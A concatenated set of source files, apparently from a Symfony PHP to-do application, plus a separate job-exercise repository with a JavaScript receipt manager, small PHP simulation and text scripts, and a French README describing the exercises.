return ($subject instanceof Task || $subject instanceof Project) && in_array($attribute, [self::SHOW, self::EDIT, self::DELETE], true);
}
/**
* {@inheritdoc}
*/
protected function voteOnAttribute($attribute, $task, TokenInterface $token)
{
$user = $token->getUser();
// the user must be logged in; if not, deny permission
if (!$user instanceof User) {
return false;
}
// the logic of this voter is pretty simple: if the logged user is the
// author of the given blog post, grant permission; otherwise, deny it.
// (the supports() method guarantees that $post is a Post object)
return $user === $task->getUser();
}
}<file_sep><?php
namespace AppBundle\Twig;
class TwigExtension extends \Twig_Extension
{
public function getName()
{
return 'twig_extension';
}
public function getFilters()
{
return [
new \Twig_SimpleFilter('basename', [$this, 'basenameFilter'])
];
}
/**
* @var string $value
* @return string
*/
public function basenameFilter($value, $suffix = '')
{
return basename($value, $suffix);
}
}<file_sep><?php
namespace AppBundle\Repository;
use Doctrine\ORM\EntityRepository;
class UserRepository extends EntityRepository
{
}<file_sep><?php
namespace AppBundle\Form;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use FOS\UserBundle\Form\Type\ProfileFormType as BaseProfileFormType;
use Symfony\Component\Form\Extension\Core\Type\TextType;
class ProfileEditType extends AbstractType
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder
->add('contacts',
TextType::class,
['required' => false, 'attr' => array('maxlength' => '12','pattern' => '\+79[0-9]{9}')]
);
}
public function getParent()
{
return BaseProfileFormType::class;
}
}
<file_sep><?php
namespace AppBundle\Security;
use AppBundle\Form\LoginForm;
use Doctrine\ORM\EntityManager;
use Symfony\Component\Form\FormFactoryInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Routing\RouterInterface;
use Symfony\Component\Security\Core\Security;
use Symfony\Component\Security\Core\Encoder\UserPasswordEncoder;
use Symfony\Component\Security\Core\User\UserInterface;
use Symfony\Component\Security\Core\User\UserProviderInterface;
use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator;
use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
use FOS\UserBundle\Model\UserManager;
use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
use Symfony\Component\HttpFoundation\RedirectResponse;
use Symfony\Component\HttpFoundation\Session\SessionInterface;
class LoginFormAuthenticator extends AbstractFormLoginAuthenticator
{
private $formFactory;
private $em;
private $router;
private $passwordEncoder;
private $userManager;
public function __construct(FormFactoryInterface $formFactory, EntityManager $em, RouterInterface $router, UserPasswordEncoder $passwordEncoder,UserManager $userManager)
{
$this->formFactory = $formFactory;
$this->em = $em;
$this->router = $router;
$this->passwordEncoder = $passwordEncoder;
$this->userManager = $userManager;
}
public function getCredentials(Request $request)
{
$isLoginSubmit = $request->getPathInfo() == '/login_check' && $request->isMethod('POST');
if (!$isLoginSubmit) {
// skip authentication
return;
}
//$form = $this->formFactory->create(LoginForm::class);
//$form->handleRequest($request);
//$data = $form->getData();
$data['_username'] = trim($request->request->get('_username'));
$data['_password'] = trim($request->request->get('_password'));
$data['captcha'] = trim($request->request->get('captcha'));
$data['phrase'] = trim($request->getSession()->get('gcb_captcha')['phrase']);
/*
if ( trim($request->request->get('captcha')) !== trim($request->getSession()->get('gcb_captcha')['phrase']) ){
throw new CustomUserMessageAuthenticationException(
'Указан неверный код с картинки'
);
}
*/
$request->getSession()->set(
Security::LAST_USERNAME,
$data['_username']
);
return $data;
}
public function getUser($credentials, UserProviderInterface $userProvider)
{
$username = $credentials['_username'];
if( $credentials['phrase'] !== $credentials['captcha'] ){
throw new CustomUserMessageAuthenticationException(
'Указан неверный код с картинки'
);
}
/*
$userInstance = $this->em->getRepository('AppBundle:User')
->findOneBy(['email' => $username]);
*/
$userInstance = $this->userManager->findUserByUsernameOrEmail($username);
if (!$userInstance) {
throw new CustomUserMessageAuthenticationException(
'Указанный пользователь не найден'
);
}
return $userInstance;
}
public function checkCredentials($credentials, UserInterface $user)
{
$password = $credentials['_<PASSWORD>'];
if ($this->passwordEncoder->isPasswordValid($user, $password)) {
return true;
}
throw new CustomUserMessageAuthenticationException(
'Неверный пароль'
);
//return false;
}
protected function getLoginUrl()
{
return $this->router->generate('fos_user_security_login');
}
protected function getDefaultSuccessRedirectUrl()
{
return $this->router->generate('task_all');
}
public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
{
$targetPath = null;
// if the user hit a secure page and start() was called, this was
// the URL they were on, and probably where you want to redirect to
if ($request->getSession() instanceof SessionInterface) {
$targetPath = $request->getSession()->get('_security.' . $providerKey . '.target_path');
// add flash message to the user
$request->getSession()->getBag('flashes')->add('success', 'Hello, ' . $token->getUsername());
}
if (!$targetPath) {
$targetPath = $this->getDefaultSuccessRedirectUrl();
}
return new RedirectResponse($targetPath);
}
}<file_sep><?php
namespace AppBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
use Symfony\Component\Validator\Constraints as Assert;
use Doctrine\Common\Collections\ArrayCollection;
use Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity;
/**
* Project
*
* @ORM\Table(name="project")
* @ORM\Entity(repositoryClass="AppBundle\Repository\ProjectRepository")
* @ORM\HasLifecycleCallbacks()
* @UniqueEntity(
* fields={"projectName"},
* message="This project is already existing",
* )
*/
class Project
{
/**
* @var int
*
* @ORM\Column(name="id", type="integer")
* @ORM\Id
* @ORM\GeneratedValue(strategy="AUTO")
*/
private $id;
/**
* @var \DateTime
* @ORM\Column(type="datetime")
*/
private $createdAt;
/**
* @var \DateTime
* @ORM\Column(type="datetime", nullable=true)
*/
private $updatedAt;
/**
* @var string
* @ORM\Column(type="string")
* @Assert\NotBlank()
* @Assert\Length(
* min = 2,
* max = 50,
* )
*/
private $projectName;
/**
* @ORM\ManyToOne(targetEntity="AppBundle\Entity\User")
* @ORM\JoinColumn(nullable=false)
*/
private $user;
/**
* @ORM\OneToMany(targetEntity="AppBundle\Entity\Task", mappedBy="project",orphanRemoval=true)
* @ORM\OrderBy({"createdAt" = "DESC"})
*/
private $tasks;
public function __construct(){
$this->tasks = new ArrayCollection();
}
/**
* Get id
*
* @return integer
*/
public function getId()
{
return $this->id;
}
/**
* @return \DateTime
*/
public function getCreatedAt()
{
return $this->createdAt;
}
/**
* @param \DateTime $createdAt
*/
public function setCreatedAt(\DateTime $createdAt)
{
$this->createdAt = $createdAt;
}
/**
* @return \DateTime
*/
public function getUpdatedAt()
{
return $this->updatedAt;
}
/**
* @param \DateTime $updatedAt
*/
public function setUpdatedAt(\DateTime $updatedAt)
{
$this->updatedAt = $updatedAt;
}
/**
* @return string
*/
public function getProjectName()
{
return $this->projectName;
}
/**
* @param string $projectName
*/
public function setProjectName($projectName)
{
$this->projectName = $projectName;
}
/**
* @return mixed
*/
public function getUser()
{
return $this->user;
}
/**
* @param mixed $user
*/
public function setUser(User $user)
{
$this->user = $user;
}
public function __toString()
{
return $this->getProjectName();
}
/**
* @return ArrayCollection|Task[]
*/
public function getTasks()
{
return $this->tasks;
}
public function addTasks(Task $task)
{
if ($this->tasks->contains($task)) {
return;
}
$this->tasks[] = $task;
}
public function removeTask(Task $task)
{
if (!$this->tasks->contains($task)) {
return;
}
$this->tasks->removeElement($task);
}
}<file_sep><?php
namespace AppBundle\Form;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
use AppBundle\Entity\Project;
class ProjectForm extends AbstractType
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder
->add('projectName', null,[
'attr' =>['placeholder' => 'Введите имя проекта'],
'label' => 'Имя проекта',
'required' => true
])
;
}
public function configureOptions(OptionsResolver $resolver)
{
$resolver->setDefaults([
'data_class' => Project::class
]);
}
}
<file_sep><?php
namespace AppBundle\Entity;
use Doctrine\ORM\Mapping as ORM;
use Symfony\Component\Validator\Constraints as Assert;
/**
* Task
*
* @ORM\Table(name="task")
* @ORM\Entity(repositoryClass="AppBundle\Repository\TaskRepository")
* @ORM\HasLifecycleCallbacks()
*/
class Task
{
/**
* @var int
*
* @ORM\Column(name="id", type="integer")
* @ORM\Id
* @ORM\GeneratedValue(strategy="AUTO")
*/
private $id;
/**
* @ORM\Column(type="string")
* @Assert\NotBlank()
* @Assert\Length(
* min = 2,
* max = 50,
* )
*/
private $taskName;
/**
* @ORM\Column(type="text")
* @Assert\NotBlank()
* @Assert\Length(
* min = 2,
* max = 201,
* )
*/
private $description;
/**
* @ORM\Column(type="string", nullable=true)
*/
private $uploadOriginalName;
/**
* @ORM\Column(type="string", nullable=true)
* @Assert\File(
* maxSize = "2M",
* mimeTypes = {
* "vnd.openxmlformats-officedocument.wordprocessingml.document",
* "application/msword",
* "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
* "application/vnd.ms-excel",
* "application/pdf"
* }
* )
*/
private $uploadFile;
/**
* @var \DateTime
* @ORM\Column(type="datetime")
*/
private $createdAt;
/**
* @var \DateTime
* @ORM\Column(type="datetime", nullable=true)
*/
private $updatedAt;
/**
* @var \DateTime
* @ORM\Column(type="date")
* @Assert\GreaterThan("today",message="Срок исполнения должен быть больше сегодняшней даты")
*/
private $dueDate;
/**
* @var \DateTime
* @ORM\Column(type="datetime", nullable=true)
*/
private $completeDate;
/**
* @var Boolean
* @ORM\Column(type="boolean",options={"default":0})
*/
private $isDone = false;
/**
* @ORM\ManyToOne(targetEntity="AppBundle\Entity\User")
* @ORM\JoinColumn(nullable=false)
*/
private $user;
/**
* @ORM\ManyToOne(targetEntity="AppBundle\Entity\Project",inversedBy="tasks")
* @ORM\JoinColumn(nullable=false)
* @Assert\NotNull(message="Не выбран проект для задачи!!!")
*/
private $project;
/**
* @param integer $id
*/
public function setId($id)
{
$this->id = $id;
}
/**
* Get id
*
* @return int
*/
public function getId()
{
return $this->id;
}
/**
* @return \DateTime
*/
public function getCompleteDate()
{
return $this->completeDate;
}
/**
* @param \DateTime $completeDate
*/
public function setCompleteDate(\DateTime $completeDate)
{
$this->completeDate = $completeDate;
}
/**
* @return \DateTime
*/
public function getCreatedAt()
{
return $this->createdAt;
}
/**
* @param \DateTime $createdAt
*/
public function setCreatedAt(\DateTime $createdAt)
{
$this->createdAt = $createdAt;
}
/**
* @return \DateTime
*/
public function getUpdatedAt()
{
return $this->updatedAt;
}
/**
* @param \DateTime $updatedAt
*/
public function setUpdatedAt(\DateTime $updatedAt)
{
$this->updatedAt = $updatedAt;
}
/**
* @return \DateTime
*/
public function getDueDate()
{
return $this->dueDate;
}
/**
* @param \DateTime $dueDate
*/
public function setDueDate(\DateTime $dueDate)
{
$this->dueDate = $dueDate;
}
/**
* @return boolean
*/
public function isIsDone()
{
return $this->isDone;
}
/**
* @param boolean $isDone
*/
public function setIsDone($isDone)
{
$this->isDone = $isDone;
}
/**
* @return mixed
*/
public function getProject()
{
return $this->project;
}
/**
* @param mixed $project
*/
public function setProject(Project $project)
{
$this->project = $project;
}
/**
* @return mixed
*/
public function getTaskName()
{
return $this->taskName;
}
/**
* @param mixed $taskName
*/
public function setTaskName($taskName)
{
$this->taskName = $taskName;
}
/**
* @return mixed
*/
public function getUploadFile()
{
return $this->uploadFile;
}
/**
* @param mixed $uploadFile
*/
public function setUploadFile($uploadFile)
{
$this->uploadFile = $uploadFile;
}
/**
* @return mixed
*/
public function getUser()
{
return $this->user;
}
/**
* @param mixed $user
*/
public function setUser(User $user)
{
$this->user = $user;
}
/**
* @return mixed
*/
public function getUploadOriginalName()
{
return $this->uploadOriginalName;
}
/**
* @param mixed $uploadOriginalName
*/
public function setUploadOriginalName($uploadOriginalName)
{
$this->uploadOriginalName = $uploadOriginalName;
}
/**
* @return mixed
*/
public function getDescription()
{
return $this->description;
}
/**
* @param mixed $description
*/
public function setDescription($description)
{
$this->description = $description;
}
public function __clone()
{
if ($this->id) {
$this->setId(null);
}
}
}<file_sep><?php
namespace AppBundle\Service;
use Doctrine\ORM\EntityManagerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
class QueryFilter
{
private $entityManager;
private $user;
public function __construct(TokenStorageInterface $token, EntityManagerInterface $entityManager)
{
$this->entityManager = $entityManager;
$this->user = $token->getToken()->getUser();
}
public function find(Request $request)
{
$today = new \DateTime();
$tomorrow = clone $today;
$today->format('Y-m-d');
$tomorrow = $tomorrow->modify('+1 day')->format('Y-m-d');
$done = false;
$exp = '';
$queryBuilder = $this->entityManager->createQueryBuilder();
$queryBuilder->select('t')->from('AppBundle\Entity\Task', 't');
$queryBuilder
->where('t.user = :u')
->setParameter('u', $this->user)
;
$showCompleted = $request->query->get('show_completed','');
$showCompleted = trim($showCompleted);
$dateFilter = $request->query->get('date_filter','');
$dateFilter = trim($dateFilter);
if($showCompleted){
switch ($showCompleted){
case '1':
$exp = ' OR t.isDone = 1' ;
break;
}
}
$queryBuilder
->andWhere('t.isDone = :done'. $exp)
;
$queryBuilder->setParameter('done', $done);
if($dateFilter){
switch ($dateFilter){
case 'today':
$data = $today;
$expression = '=' . ':data' ;
break;
case 'expired':
$data = $today;
$expression = '<' . ':data';
break;
case 'tomorrow':
$data = $tomorrow;
$expression = '='. ':data' ;
break;
default:
$expression = null;
}
if($expression){
$queryBuilder
->andWhere('t.dueDate'.$expression)
->setParameter('data',$data) ;
}
}
// Дальше уже логика построения запроса с помощью API QueryBuilder
// см. http://docs.doctrine-project.org/projects/doctrine-orm/en/latest/reference/query-builder.html
return $queryBuilder->getQuery()->getResult();
}
}<file_sep><?php
namespace AppBundle\Form;
use AppBundle\Repository\ProjectRepository;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use Symfony\Component\OptionsResolver\OptionsResolver;
use Symfony\Bridge\Doctrine\Form\Type\EntityType;
use Symfony\Component\Form\Extension\Core\Type\DateType;
use Symfony\Component\Form\Extension\Core\Type\FileType;
use AppBundle\Entity\Task;
use AppBundle\Entity\Project;
use Symfony\Component\Form\FormEvent;
use Symfony\Component\Form\FormEvents;
class TaskForm extends AbstractType
{
protected $currentField;
public function buildForm(FormBuilderInterface $builder, array $options)
{
$user = $options['user_object'];
$builder
->add('taskName', null,[
'attr' =>['placeholder' => 'Введите название задачи'],
'label' => 'Название задачи'
])
->add('description', null,[
'label' => 'Описание'
])
->add('project', EntityType::class, [
'label' => 'Проект',
'placeholder' => 'Выберите проект',
'class' => Project::class,
'query_builder' => function(ProjectRepository $repo) use ($user) {
return $repo->createAlphabeticalQueryBuilder($user);
}
])
->add('uploadFile',FileType::class,[
'label' => 'Загружаемый файл',
'required' => false,
'mapped' => true,
])
->add('dueDate',DateType::class,
['label' => 'Выполнить до:',
'widget' => 'choice',
'years' => range(date('Y'), date('Y')+10),
'months' => range(1, 12),
'days' => range(1, 31),
'invalid_message' => 'Это значение не является допустимой датой',
]
)
;
$builder->addEventListener(FormEvents::POST_SET_DATA, function (FormEvent $event) {
$this->currentField = $event->getData()->getUploadFile();
});
$builder->addEventListener(FormEvents::SUBMIT, function (FormEvent $event) {
// Retrieve submitted data
$form = $event->getForm();
$inputFile = $form->getData();
$newHeader = $inputFile->getUploadFile();
// Verify if the form field is empty and if the field is set on database
// Set the value of database again to avoid deleting it
if (is_null($newHeader) && !is_null($this->currentField)) {
$inputFile->setUploadFile($this->currentField);
}
});
}
public function configureOptions(OptionsResolver $resolver)
{
$resolver->setDefaults([
'data_class' => Task::class
]);
$resolver->setRequired('user_object');
}
}<file_sep><?php
namespace AppBundle\DataFixtures\ORM;
use Hautelook\AliceBundle\Doctrine\DataFixtures\AbstractLoader;
class LoadFixtures extends AbstractLoader
{
public function getFixtures()
{
return [
__DIR__.'/fixtures.yml',
];
}
}<file_sep><?php
namespace AppBundle\Form;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\Extension\Core\Type\PasswordType;
use Symfony\Component\Form\FormBuilderInterface;
use Gregwar\CaptchaBundle\Type\CaptchaType;
class LoginForm extends AbstractType
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder
->add('_username',null,['label' => 'Логин','required' => true])
->add('_password', PasswordType::class,['label' => 'Пароль','required' => true])
->add('captcha', CaptchaType::class)
;
}
public function getBlockPrefix() {
return null;
}
}<file_sep><?php
namespace AppBundle\EventListener;
use Doctrine\Common\EventSubscriber;
use Doctrine\Common\Persistence\Event\LifecycleEventArgs;
use AppBundle\Entity\Task;
class TaskSubscriber implements EventSubscriber
{
public function getSubscribedEvents()
{
return array(
'prePersist',
'preUpdate',
);
}
public function preUpdate(LifecycleEventArgs $args)
{
$this->setTime($args,'Update');
}
public function prePersist(LifecycleEventArgs $args)
{
$this->setTime($args,'Persist');
}
public function setTime(LifecycleEventArgs $args, $type)
{
$entity = $args->getEntity();
if ($entity instanceof Task) {
if ( $type === 'Persist' ){
$entity->setCreatedAt(new \DateTime);
}elseif ( $type === 'Update' ){
$entity->setUpdatedAt(new \DateTime);
}
}
}
}<file_sep><?php
namespace AppBundle\Form;
use Symfony\Component\Form\AbstractType;
use Symfony\Component\Form\FormBuilderInterface;
use FOS\UserBundle\Form\Type\RegistrationFormType as BaseRegistrationFormType;
use Gregwar\CaptchaBundle\Type\CaptchaType;
class RegistrationType extends AbstractType
{
public function buildForm(FormBuilderInterface $builder, array $options)
{
$builder->add('captcha', CaptchaType::class);
}
public function getParent()
{
return BaseRegistrationFormType::class;
}
}
<file_sep><?php
namespace AppBundle\EventListener;
use FOS\UserBundle\FOSUserEvents;
use Symfony\Component\EventDispatcher\Event;
use Symfony\Component\EventDispatcher\EventSubscriberInterface;
use Symfony\Component\HttpFoundation\Session\Session;
use Symfony\Component\Translation\TranslatorInterface;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorageInterface;
class CustomFlashListener implements EventSubscriberInterface
{
/**
* @var string[]
*/
private static $successMessages = array(
FOSUserEvents::CHANGE_PASSWORD_COMPLETED => 'change_password.flash.success',
FOSUserEvents::GROUP_CREATE_COMPLETED => 'group.flash.created',
FOSUserEvents::GROUP_DELETE_COMPLETED => 'group.flash.deleted',
FOSUserEvents::GROUP_EDIT_COMPLETED => 'group.flash.updated',
FOSUserEvents::PROFILE_EDIT_COMPLETED => 'profile.flash.updated',
FOSUserEvents::REGISTRATION_COMPLETED => 'registration.flash.user_created',
FOSUserEvents::RESETTING_RESET_COMPLETED => 'resetting.flash.success',
);
/**
* @var Session
*/
private $session;
/**
* @var TranslatorInterface
*/
private $translator;
private $token;
/**
* FlashListener constructor.
*
* @param Session $session
* @param TranslatorInterface $translator
*/
public function __construct(Session $session, TranslatorInterface $translator, TokenStorageInterface $token)
{
$this->session = $session;
$this->translator = $translator;
$this->token = $token;
}
/**
* {@inheritdoc}
*/
public static function getSubscribedEvents()
{
return array(
FOSUserEvents::CHANGE_PASSWORD_COMPLETED => 'addSuccessFlash',
FOSUserEvents::GROUP_CREATE_COMPLETED => 'addSuccessFlash',
FOSUserEvents::GROUP_DELETE_COMPLETED => 'addSuccessFlash',
FOSUserEvents::GROUP_EDIT_COMPLETED => 'addSuccessFlash',
FOSUserEvents::PROFILE_EDIT_COMPLETED => 'addSuccessFlash',
FOSUserEvents::REGISTRATION_COMPLETED => array('addSuccessFlash', 15),
FOSUserEvents::RESETTING_RESET_COMPLETED => 'addSuccessFlash',
);
}
/**
* @param Event $event
* @param string $eventName
*/
public function addSuccessFlash(Event $event, $eventName)
{
if (!isset(self::$successMessages[$eventName])) {
throw new \InvalidArgumentException('This event does not correspond to a known flash message');
}
$this->session->getFlashBag()->add('success', $this->trans(self::$successMessages[$eventName], ['%usr%' => $this->token->getToken()->getUsername()]));
}
/**
* @param string $message
* @param array $params
*
* @return string
*/
private function trans($message, array $params = array())
{
return $this->translator->trans($message, $params, 'FOSUserBundle');
}
}
| e42c87739cefa48912990cc3553bc66399d72d83 | [
"PHP"
] | 25 | PHP | ArtemioVegas/todo-advanced | 629fa3954225a27974d063c497e06fec1757f658 | e98a3eecddee05ac7400554ff0c0eec8ecdf46a3 |
refs/heads/master | <file_sep>"# JavaEx"
<file_sep>/**
* Created by Matan on 05/08/2016.
*/
public class Stam {
int thisiSatEST;
}
| 87fbfb0b7ce670b03e4cd1fd0403d26f06e7d8b7 | [
"Markdown",
"Java"
] | 2 | Markdown | mataness/JavaEx | cccfd6f2324bcaa41c6635be0c89957901fe3ef7 | b5532419bdd3996559116599f74e064dedebda50 |
refs/heads/master | <repo_name>kenjiz/onerails<file_sep>/test/helpers/testicles_helper_test.rb
require 'test_helper'
class TesticlesHelperTest < ActionView::TestCase
end
| 3bf1b0e223635f70b2d1f7729b6499a3bddd615d | [
"Ruby"
] | 1 | Ruby | kenjiz/onerails | f4fdcabfd67d856eea5e4bd0937cbb3614ab93b6 | 6a74c81dbe18225538147e02b3b9aadd2c581bbe |
refs/heads/master | <file_sep>// Simple Receipt class
class Receipt{
constructor(date, name, amount){
this.date = date;
this.name = name;
this.amount = amount;
}
}
// Class used to manage receipts
class ReceiptsManager{
constructor(receipts){
this.receipts = [];
receipts = JSON.parse(receipts);
for(var r in receipts)
{
this.receipts.push(new Receipt(moment(receipts[r].date), receipts[r].name, receipts[r].amount));
}
}
// Get receipts ordered by date desc using momentjs
getRecent()
{
return this.receipts.sort(function(a,b){
var adate = moment(a.date);
var bdate = moment(b.date);
if(adate.format('X') > bdate.format('X'))
{
return -1;
}
return 1;
})
}
// Add a new Receipt
add(receipt)
{
if(this.dateNotExists(receipt.date,-1))
{
this.receipts.push(receipt);
this.save();
return true;
}
return false;
}
// Edit a receipt
edit(id, receipt)
{
if(this.dateNotExists(receipt.date, id))
{
this.receipts[id] = receipt;
this.save();
return true;
}
return false;
}
// Remove a receipt
remove(id)
{
this.receipts.splice(id, 1);
this.save();
}
// Check if the receipt already exists
dateNotExists(date, id)
{
var date_exists = this.receipts.filter(function(receipt, i){
return receipt.date.format('YYYY-MM-DD') === date.format('YYYY-MM-DD') && i !== id;
});
return date_exists.length === 0;
}
// Saving data in the localstorage
save()
{
localStorage.setItem('receipts', JSON.stringify(this.receipts));
}
// Find a receipt by its id
find(id)
{
return this.receipts[id];
}
// Get total receipts amount
getTotalByMonth()
{
var receipts = this.getRecent();
var total_month = {};
for(var r in receipts)
{
if(total_month[receipts[r].date.format('MM/YYYY')] === undefined)
{
total_month[receipts[r].date.format('MM/YYYY')] = 0;
}
total_month[receipts[r].date.format('MM/YYYY')] += this.receipts[r].amount;
}
return total_month;
}
}
<file_sep><?php
class Hunter {
public $ammo = 10;
public $hungry = 0;
public $travelled = 0;
public $position = ['x' => 0, 'y' => 0];
public function __construct($x_max, $y_max){
$this->position['x'] = rand(0,$x_max);
$this->position['y'] = rand(0,$y_max);
}
public function hunt()
{
}
}
class Rabbit{
public $speed = 0;
public $color = "white";
public $travelled = 0;
public $position = ['x' => 0, 'y' => 0];
public function __construct($x_max, $y_max){
$this->speed = rand(1,5);
$this->color = rand(0,1) === 0 ? 'white' : 'brown';
$this->position['x'] = rand(0,$x_max);
$this->position['y'] = rand(0,$y_max);
}
public function chased()
{
}
}
class Hole{
public $position = ['x' => 0, 'y' => 0];
public $used = false;
public function __construct($x_max, $y_max){
$this->position['x'] = rand(0,$x_max);
$this->position['y'] = rand(0,$y_max);
}
}
class Forest{
public $holes = [];
public $rabbits = [];
public $hunters = [];
public $dimensions = ['x_max' => 0, 'y_max' => 0];
public $surface = [];
public $trees = 0;
public function __construct(){
$this->dimensions['x_max'] = rand(5,10);
$this->dimensions['y_max'] = rand(5,10);
// Init the surface
$xs = range(0,$this->dimensions['x_max']);
$ys = range(0,$this->dimensions['y_max']);
foreach($xs as $x)
{
$this->surface[$x] = [];
foreach($ys as $y)
{
$this->surface[$x][] = $y;
}
}
// Adding hunters
$hunters = rand(1,round(($this->dimensions['x_max']*$this->dimensions['y_max'])/4));
for($i=0; $i < $hunters; $i++)
{
$this->add(new Hunter($this->dimensions['x_max'],$this->dimensions['y_max']));
}
// Adding rabbits
$rabbits = rand(1,round(($this->dimensions['x_max']*$this->dimensions['y_max'])/2));
for($i=0; $i < $rabbits; $i++)
{
$this->add(new Rabbit($this->dimensions['x_max'],$this->dimensions['y_max']));
}
// Adding Holes
$holes = rand(0,round(($this->dimensions['x_max']*$this->dimensions['y_max'])/3));
for($i=0; $i < $holes; $i++)
{
$this->add(new Hole($this->dimensions['x_max'],$this->dimensions['y_max']));
}
}
private function add($item)
{
$type = strtolower(get_class($item)).'s';
$this->{$type}[] = $item;
}
public function draw()
{
foreach($this->surface as $x => $ys)
{
foreach($ys as $y)
{
echo $this->checkBlock($x,$y) . " | ";
}
echo "\n";
}
}
private function checkBlock($x,$y)
{
$found = "";
$rabbits_here = array_filter($this->rabbits,function($rabbit) use($x,$y){
return $rabbit->position['x'] == $x && $rabbit->position['y'] == $y;
});
$holes_here = array_filter($this->holes,function($hole) use($x,$y){
return $hole->position['x'] == $x && $hole->position['y'] == $y;
});
$hunters_here = array_filter($this->hunters,function($hunter) use($x,$y){
return $hunter->position['x'] == $x && $hunter->position['y'] == $y;
});
if(count($rabbits_here) > 0)
{
$found .= "R";
}
if(count($holes_here) > 0)
{
$found .= "H";
}
if(count($hunters_here) > 0)
{
$found .= "X";
}
$found = str_pad($found,3," ");
return $found;
}
}
// init the scene
$forest = new Forest();
$forest->draw();<file_sep><?php
// Get the arguments
if(count($argv) > 1)
{
$file = $argv[1];
// Does the file exists ?
if(file_exists($file))
{
// What's its extension ?
$extension = pathinfo($file,PATHINFO_EXTENSION);
if($extension == "txt")
{
// Read and show
$content = file_get_contents($file);
echo str_replace(" ","\n",$content);
}
else
{
echo "Le fichier doit avoir une extension txt\n";
}
}
else
{
echo "Le fichier n'existe pas\n";
}
}
else
{
echo "Vous avez oublié de passer en argument le fichier à lire\n";
}<file_sep>### 1 / Bases de l'objet
#### Durée : 1h15
Tous les objets, champs et méthodes sont donnés en français dans les instructions.
Dans l'email vous demandez de coder en anglais, j'ai donc choisi de quand même tout coder en anglais.
Sur les classes, à noter que j'aurais pu passer par des variables privée et utiliser des accesseurs dans toutes les classes.
Je ne l'ai pas fait dans un souci de lisibilité, l'intégralité du code étant dans un seul et même fichier.
Le fichier est fait pour être exécuté en tant que script, n'ayant pas besoin d'interface pour cet exercice.
### 2 / Tickets de caisse
#### Durée : 2h15
Le code livré est un peu rudimentaire, mais pour une application demandant peu de contrôles et peu d'actions, il reste facilement compréhensible.
J'ai utilisé le localStorage pour stocker les informations.
Le localStorage ne peut contenir que du type string, il a fallu donc parser les éléments.
J'ai utilisé une classe Receipt, assez basique, ainsi qu'une classe ReceiptManager permettant de gérer les actions liées à la classe.
Bien que d'utilité limitée, j'ai intégré jQuery et Momentjs, seulement afin de montrer ma capacité à me servir de librairies externes.
J'ai passé un peu de temps car il a fallu que je réfléchisse à l'UX de l'application que je voulais utiliser.
Finalement, du one page sous bootstrap me semblait favorable du fait de la simplicité de l'application et de sa mise en place.
### 3 / Traitement sur les textes
#### Durée : 0h10
J'ai décidé pour ce cas, de passer me passer d'une interface, non nécessaire pour la réalisation de cette tâche.
Le programme s'exécute en passant le fichier texte en paramètre.
Par exemple : `php read.php "/home/david/texte/montexte.txt"`
### 4 / La chasse au lapin
#### Durée : 0h40
Ce cas manque de détails sur son fonctionnement et ce qu'on en attend.
Il nécessiterait d'avantages d'informations pour pouvoir être développé correctement.
En effet, beaucoup de questions restent en suspens et l'énoncé n'est pas assez clair.
De fait, la réalisation d'un tel projet est bloquée par son manque de clarté.
J'ai tout de même mis en place le dessin d'une carte représentant la forêt avec chacun de ses
éléments dispersés dedans. R étant le lapin, H le trou, et X le chasseur.
Le script s'exécute en ligne de commande `php hunt.php`
<file_sep><?php
class Company{
public $offices = [];
/**
* @param Office $office
* @return Company
*/
public function addOffice(Office $office)
{
$this->offices[] = $office;
return $this;
}
/**
* Add a new employee in an $service
* @param $service string The service is the classname of the office
* @return bool
*/
public function addEmployee($service)
{
$added = false;
foreach($this->offices as $office)
{
if(get_class($office) == $service && !$office->isFull())
{
$office->people++;
$added = true;
break;
}
}
return $added;
}
/**
* Return the number of employee in an service
* @param $service
* @return int
*/
public function countEmployee($service){
$employee = 0;
foreach($this->offices as $office)
{
if(get_class($office) == $service)
{
$employee += $office->people;
}
}
return $employee;
}
/**
* Set random values for all offices in the company
*/
public function setRandomValuesForOffices()
{
array_walk($this->offices,function(Office $office){
$office->setRandomValues();
});
}
/**
* Get the total available space rate for the entire company
* @return int
*/
public function getTotalAvailableSpaceRate(){
$availableSpaceRate = 0;
foreach($this->offices as $office) {
$availableSpaceRate += $office->getAvailableSpaceRate();
}
return $availableSpaceRate;
}
/**
* Is the company full ?
* @return bool
*/
public function isFull(){
$full = true;
foreach($this->offices as $office) {
if(!$office->isFull())
{
$full = false;
break;
}
}
return $full;
}
}
class Office{
public $lan_outlets = 0;
public $power_outlets = 0;
public $phone_outlets = 0;
public $chairs = 0;
public $tables = 0;
public $people = 0;
/**
* Get the avaiable space rate in the office
* @return int
*/
public function getAvailableSpaceRate(){
return round(($this->people - $this->lan_outlets) + ($this->people - $this->power_outlets) +
($this->people - $this->phone_outlets) +($this->people - $this->chairs) +
($this->people - $this->tables));
}
/**
* Setting random values for the outlets, chairs and tables
*/
public function setRandomValues(){
$this->lan_outlets = mt_rand(5,15);
$this->power_outlets = mt_rand(5,10);
$this->phone_outlets = mt_rand(5,15);
$this->chairs = mt_rand(5,12);
$this->tables = mt_rand(5,14);
}
/**
* Is the office full ?
* To know if the office is full we have to simulate adding an Employee.
* If adding an employee makes the space rate > 0, it means that the office cannot host more employee
* @return bool
*/
public function isFull()
{
$this->people++;
$full = $this->getAvailableSpaceRate() > 0;
$this->people--;
return $full;
}
}
class SalesOffice extends Office{
public function getAvailableSpaceRate(){
